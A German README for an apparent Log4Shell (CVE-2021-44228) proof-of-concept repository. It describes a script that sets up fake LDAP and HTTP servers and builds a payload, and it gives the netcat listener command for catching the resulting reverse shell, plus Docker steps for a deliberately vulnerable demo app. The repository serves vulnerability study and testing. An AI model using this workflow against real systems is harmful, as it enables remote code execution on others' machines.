
Proof-of-Concept-Exploit für CVE-2021-44228 (Log4Shell), der LDAP- und HTTP-Server automatisiert, um einer verwundbaren Java-Anwendung eine Reverse-Shell-Nutzlast zu liefern.
Ein Proof-of-Concept für die kürzlich entdeckte Schwachstelle CVE-2021-44228.
Kürzlich wurde eine neue Schwachstelle in log4j entdeckt, einer Java-Logging-Bibliothek, die sehr weit verbreitet ist, unter anderem in Elasticsearch, Minecraft und vielen anderen Anwendungen.
In diesem Repository befinden sich eine beispielhafte verwundbare Anwendung und ein Proof-of-Concept (POC) Exploit dafür.
Als PoC gibt es eine Python-Datei, die den Prozess automatisiert.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 haben und sich im selben Verzeichnis befinden.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
Listening on 0.0.0.0:1389
Dieses Skript richtet den HTTP-Server und den LDAP-Server für Sie ein und erstellt auch den Payload, den Sie in den verwundbaren Parameter einfügen können. Danach sollten Sie, wenn alles gut gelaufen ist, eine Shell auf dem lport erhalten.
Es gibt ein Dockerfile mit der verwundbaren Webanwendung. Sie können dies verwenden, indem Sie die folgenden Schritte befolgen:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Sobald es läuft, können Sie es unter localhost:8080 erreichen.
Oracle stellt glücklicherweise ein Archiv für alle früheren Java-Versionen zur Verfügung:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Scrollen Sie nach unten zu 8u20 und laden Sie die passenden Dateien für Ihr Betriebssystem und Ihre Hardware herunter.

Hinweis: Sie benötigen ein Konto, um das Paket herunterladen zu können.
Sobald Sie das Archiv heruntergeladen und extrahiert haben, finden Sie java und einige zugehörige Binärdateien in jdk1.8.0_20/bin.
Hinweis: Stellen Sie sicher, dass Sie den JDK-Ordner mit demselben Namen in dieses Repository extrahieren, damit es funktioniert.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Dieses Repository ist nicht als One-Click-Exploit für CVE-2021-44228 gedacht. Der Zweck dieses Projekts ist es, Menschen zu helfen, diese Schwachstelle zu verstehen und vielleicht ihre eigenen Anwendungen zu testen (es gibt jedoch bessere Anwendungen für diesen Zweck, z.B.: https://log4shell.tools/).